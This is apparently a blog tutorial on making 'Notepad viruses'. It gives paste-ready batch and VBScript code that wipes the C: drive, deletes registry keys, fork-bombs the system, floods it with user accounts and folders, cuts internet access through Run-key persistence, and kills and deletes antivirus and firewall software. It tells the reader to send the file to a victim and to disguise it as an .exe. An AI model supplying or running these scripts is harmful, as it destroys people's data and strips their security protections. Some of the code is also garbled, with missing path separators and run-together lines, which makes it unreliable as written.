How to Create Computer Virus in Few Seconds (Notepad virus tricks)

 

How to Create Computer Virus in Few Seconds (Notepad virus tricks)

 

Check out this video first

 

 

Have you ever thought of creating a computer virus by yourself? No need to worry, here is a complete tutorial to let you know how to create a simple but dangerous Notepad Virus step by step with an explanation! 😎

As you all know that Virus is nothing but a malicious the program which enters into a system without permission and affects the data and the working of the operating system. Viruses do unwanted tasks like replicating itself corrupting user files etc,  so, basically, we are going to create some unwanted scripts, that we can execute in order to destroy or break the system.

 

 

Create Notepad Virus Executable(.exe) Using Batch Scripting

First of all, what is batch scripting, those who don’t know, take a look below:

“It is simply a text file, containing a series of commands, which are executed automatically, line by line when the batch file runs.”

By using Batch File you can create an extremely dangerous virus which can delete the Windows files, format different drives [C:\, E:], steal data files and information, disable antivirus, firewall, etc.

NOTE: This post is solely and mainly for educational purpose only. I am nowhere responsible for any kind of damage caused by this tutorial

Write a dangerous virus in Notepad/Text Editor

Are you ready to create your first DIY Notepad virus, Let’s get started to rock,

First of all, you need a windows PC, obviously.  😉

For this tutorial to create simple Notepad Virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a trojan virus using notepad to run via command prompt(cmd) in Windows 10, 8/8.1, 7 or XP.

Now, Open the Notepad application and Copy (Ctrl+C) and Paste (Ctrl+V) the codes given below one by one for the different virus in a different file.

Copy (Ctrl+C) and Paste (Ctrl+V) the source code

Note: I am not responsible for any damage or error reporting on Your PC, do it at your own risk.

Warning: Do not try this on your daily working PC.

Have you read my previous posts, it will be great to take a look at;

Notepad Virus source codes are Given below:

1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat

echo break off>c:windowswimn32.bat echo

ipconfig/release_all>c:windowswimn32.bat

echo end>c:windowswimn32.batreg add

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!

PAUSE

2. Delete Key Registry Files

This will delete key registry files, then loops a message

This is dangerous and unrecoverable Notepad Virus.

@ECHO OFF

 START reg delete HKCR/.exe

 START reg delete HKCR/.dll

 START reg delete HKCR/*

 :MESSAGE

 ECHO Your PC has been crashed.Your Dad.

 GOTO MESSAGE

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off

 :top

 START %SystemRoot%\system32\notepad.exe

 GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)

 Set colCDROMs = oWMP.cdromCollection

 do

 if colCDROMs.Count >= 1 then

 For i = 0 to colCDROMs.Count – 1

 colCDROMs.Item(i).Eject

 Next

 For i = 0 to colCDROMs.Count – 1

 colCDROMs.Item(i).Eject

 Next

 End If

 wscript.sleep 100

 loop

5. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)

 do

 wscript.sleep 100

 wshshell.sendkeys “~(enter)”

 loop

6. Application Bomber

It will start to open different applications repeatedly which will affect the system’s performance.

You can also add the application of your choice in the above code.

@echo off

 :x

 start winword

 start mspaint

 start notepad

 start write

 start cmd

 start explorer

 start control

 start calc

 goto x

7.Folder Flooder

This will create unlimited no. of folders.

@echo off

:x

md %random%

/folder.

goto x

8.User Account Flooder

This will create large no. of the user account on one’s PC and goes on

@echo off

:xnet

user %random% /add

goto x

9.Process Creator

This will create unlimited background processes

%0|%0

10.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

@Echo off

Del C:\ *.* |y

10+. Anti Virus Disabler

This large code will disable any antivirus installed on the system

@ echo off

rem

rem Permanently Kill Anti-Virus

net stop “Security Center”

netsh firewall set opmode mode=disable

tskill /A av*

tskill /A fire*

tskill /A anti*

cls

tskill /A spy*

tskill /A bullguard

tskill /A PersFw

tskill /A KAV*

tskill /A ZONEALARM

tskill /A SAFEWEB

cls

tskill /A spy*

tskill /A bullguard

tskill /A PersFw

tskill /A KAV*

tskill /A ZONEALARM

tskill /A SAFEWEB

cls

tskill /A OUTPOST

tskill /A nv*

tskill /A nav*

tskill /A F-*

tskill /A ESAFE

tskill /A cle

cls

tskill /A BLACKICE

tskill /A def*

tskill /A kav

tskill /A kav*

tskill /A avg*

tskill /A ash*

cls

tskill /A aswupdsv

tskill /A ewid*

tskill /A guard*

tskill /A guar*

tskill /A gcasDt*

tskill /A msmp*

cls

tskill /A mcafe*

tskill /A mghtml

tskill /A msiexec

tskill /A outpost

tskill /A isafe

tskill /A zap*cls

tskill /A zauinst

tskill /A upd*

tskill /A zlclien*

tskill /A minilog

tskill /A cc*

tskill /A norton*

cls

tskill /A norton au*

tskill /A ccc*

tskill /A npfmn*

tskill /A loge*

tskill /A nisum*

tskill /A issvc

tskill /A tmp*

cls

tskill /A tmn*

tskill /A pcc*

tskill /A cpd*

tskill /A pop*

tskill /A pav*

tskill /A padmincls

tskill /A panda*

tskill /A avsch*

tskill /A sche*

tskill /A syman*

tskill /A virus*

tskill /A realm*cls

tskill /A sweep*

tskill /A scan*

tskill /A ad-*

tskill /A safe*

tskill /A avas*

tskill /A norm*

cls

tskill /A offg*

del /Q /F C:\Program Files\alwils~1\avast4\*.*

del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe

del /Q /F C:\Program Files\kasper~1\*.exe

cls

del /Q /F C:\Program Files\trojan~1\*.exe

del /Q /F C:\Program Files\f-prot95\*.dll

del /Q /F C:\Program Files\tbav\*.datcls

del /Q /F C:\Program Files\avpersonal\*.vdf

del /Q /F C:\Program Files\Norton~1\*.cnt

del /Q /F C:\Program Files\Mcafee\*.*

cls

del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*

del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*

del /Q /F C:\Program Files\Norton~1\Norton~1\*.*

del /Q /F C:\Program Files\Norton~1\*.*

cls

del /Q /F C:\Program Files\avgamsr\*.exe

del /Q /F C:\Program Files\avgamsvr\*.exe

del /Q /F C:\Program Files\avgemc\*.exe

cls

del /Q /F C:\Program Files\avgcc\*.exe

del /Q /F C:\Program Files\avgupsvc\*.exe

del /Q /F C:\Program Files\grisoft

del /Q /F C:\Program Files\nood32krn\*.exe

del /Q /F C:\Program Files\nood32\*.exe

cls

del /Q /F C:\Program Files\nod32

del /Q /F C:\Program Files\nood32

del /Q /F C:\Program Files\kav\*.exe

del /Q /F C:\Program Files\kavmm\*.exe

del /Q /F C:\Program Files\kaspersky\*.*

cls

del /Q /F C:\Program Files\ewidoctrl\*.exe

del /Q /F C:\Program Files\guard\*.exe

del /Q /F C:\Program Files\ewido\*.exe

cls

del /Q /F C:\Program Files\pavprsrv\*.exe

del /Q /F C:\Program Files\pavprot\*.exe

del /Q /F C:\Program Files\avengine\*.exe

cls

del /Q /F C:\Program Files\apvxdwin\*.exe

del /Q /F C:\Program Files\webproxy\*.exe

del /Q /F C:\Program Files\panda

software\*.*

rem

After copy-pasting any one of the viruses at a time in the Notepad, save the file in ALL FILES mode with an extension “.bat“(without quotes as shown in the image).

Save the file in ALL FILES mode with ‘.bat’ extension

DONE: You have successfully created a Notepad Virus. That’s it, now you’re done doing your work now just you have to send the file to the victim.

Done creating a batch file

There’s a drawback of a batch file notepad virus, that anyone can open it with notepad and read the commands easily, and delete it if found it harmful. So, to overcome this limitation/drawback, you can use a tool named ‘Batch to Executable Converter’. It will convert the ‘.bat‘ extension into ‘.exe‘ extension. Hence, your Batch file will be converted into a Windows Application. This will helps in convincing your victim to open the file.

Bat2Exe

Download BatToExe to Easily convert batch files to executables by clicking here

NOTE: This Tutorial is for windows-based computer only, these viruses do not work on Linux or MAC.